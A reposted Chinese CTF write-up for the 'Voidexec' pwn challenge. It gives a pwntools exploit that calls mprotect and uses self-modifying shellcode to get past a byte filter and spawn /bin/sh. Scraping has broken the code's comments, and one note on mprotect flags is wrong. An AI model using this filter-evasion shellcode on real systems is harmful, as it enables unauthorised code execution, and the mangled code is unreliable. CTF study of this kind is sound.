[PWN]Voidexec

admin 2026-06-30 06:24:24 网络安全文章 来源:ZONE.CI 全球网 0 阅读模式

文章总结: 该文档分析PWN题目Voidexec的解题思路,核心是通过mprotect修改内存权限并采用自修改shellcode技术绕过forbidden函数对0xF和0xCD80指令的检测。关键发现包括利用动态计算syscall地址避免硬编码、通过inc指令修改内存中的syscall字节码。可操作建议涉及使用lea指令计算函数地址、控制shellcode长度在99字节内。 综合评分: 85 文章分类: 二进制安全,CTF,漏洞分析,实战经验,安全工具


cover_image

[PWN] Voidexec

原创

漫路修行 漫路修行

微痕鉴远

2026年6月28日 10:55 广东

在小说阅读器读本章

去阅读

题目给了libc

mmap()

接着,使用 memset() 用0初始化了 100 bytes 分配的空间。

mprotect(__s, 100, 4);

4 = PROT_READ | PROT_EXEC — removes write access, retaining execution.

程序看起来很简单,就是用户输入,经过 forbidden函数检查,然后加权限然后执行。

int64 fastcall&nbsp;forbidden(int64 a1){&nbsp;&nbsp;unsigned&nbsp;int64 i;&nbsp;// [rsp+10h] [rbp-10h]&nbsp;&nbsp;for&nbsp;( i =&nbsp;0; i <=&nbsp;0x62; ++i )&nbsp; {&nbsp; &nbsp;&nbsp;if&nbsp;( (a1 + i) ==&nbsp;0xF&nbsp;|| (a1 + i) ==&nbsp;0xCD&nbsp;&& *(i +&nbsp;1&nbsp;+ a1) ==&nbsp;0x80&nbsp;)&nbsp; &nbsp; {&nbsp; &nbsp; &nbsp;&nbsp;puts("Forbidden!");&nbsp; &nbsp; &nbsp;&nbsp;return&nbsp;1;&nbsp; &nbsp; }&nbsp; }&nbsp;&nbsp;return&nbsp;0;}

动态链接的程序,一开始以为是ret2libc,结果发现.plt.got表是空的

仔细看程序逻辑,发现直接通过指针执行用户输入。

但在执行之前,经过一个叫forbidden函数校验:

if&nbsp;( *(a1 + i) ==&nbsp;15&nbsp;|| *(a1 + i) ==&nbsp;0xCD&nbsp;&& *(i +&nbsp;1&nbsp;+ a1) ==&nbsp;0x80&nbsp;){&nbsp;&nbsp;puts("Forbidden!");&nbsp;&nbsp;return&nbsp;1;}

不能出现 0xF,以及 0xCD 和 0x80 不能同时出现。

我们知道,在shellcode 中 cd 80 是系统调用中断。所以不能出现这个,必须要对shellcode进行处理。

但同时,需要注意,对shellcode的长度也是有所限制:

不能超过99个bytes。

测试了一下发现,好像无法同时满足对特征码和shellcode长度的要求。

解法:

  1. 先利用程序里面的mprotect修改内存空间执行权限。
  2. shellcode变形:动态计算syscall指令避免硬编码被过滤函数扫描到。
from&nbsp;pwn&nbsp;import&nbsp;*context.arch =&nbsp;'amd64'&nbsp;&nbsp;binary_path =&nbsp;'./voidexec'elf = ELF(binary_path)p = process(binary_path)These offsets must be obtained&nbsp;from&nbsp;analyzing the local ELF binary#main_offset = 0x12eb # Replace with actual main offset#mprotect_offset = 0x1100 # Replace with actual mprotect PLT offset &nbsp;main_offset = elf.symbols.mainmprotect_offset = elf.plt['mprotect']Base address&nbsp;is&nbsp;0xc0de0000, length&nbsp;100&nbsp;bytesshellcode = asm(f"""/ Compute mprotect address from r13 (holds main at runtime) /lea rbx, [r13 -&nbsp;{main_offset}&nbsp;+&nbsp;{mprotect_offset}]mov rdi, 0xc0de0000 / address to change perms /mov rsi, 0x64 / length /mov rdx, 0x7 / PROT_READ | WRITE | EXEC /call rbx / mprotect(addr, len, prot) // Setup execve("/bin/sh", NULL, NULL) /xor rsi, rsixor rdx, rdxmov rax, 0x3b / syscall: execve /mov rdi, 0x68732f6e69622fpush rdimov rdi, rsp/ Self-modifying syscall patch /inc byte ptr [rip + syscall]inc byte ptr [rip + syscall + 1]syscall:.byte 0x0e, 0x04 / placeholder for syscall /""")print(f"[+] Sending&nbsp;{len(shellcode)}&nbsp;bytes of shellcode...")p.recvuntil(b"Send to void execution:")p.sendline(shellcode)p.interactive()


免责声明:

本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。

任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。

本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我

本文转载自:微痕鉴远 漫路修行 漫路修行《[PWN] Voidexec》

[PWN]Voidexec 网络安全文章

[PWN]Voidexec

文章总结: 该文档分析PWN题目Voidexec的解题思路,核心是通过mprotect修改内存权限并采用自修改shellcode技术绕过forbidden函数对
评论:0   参与:  0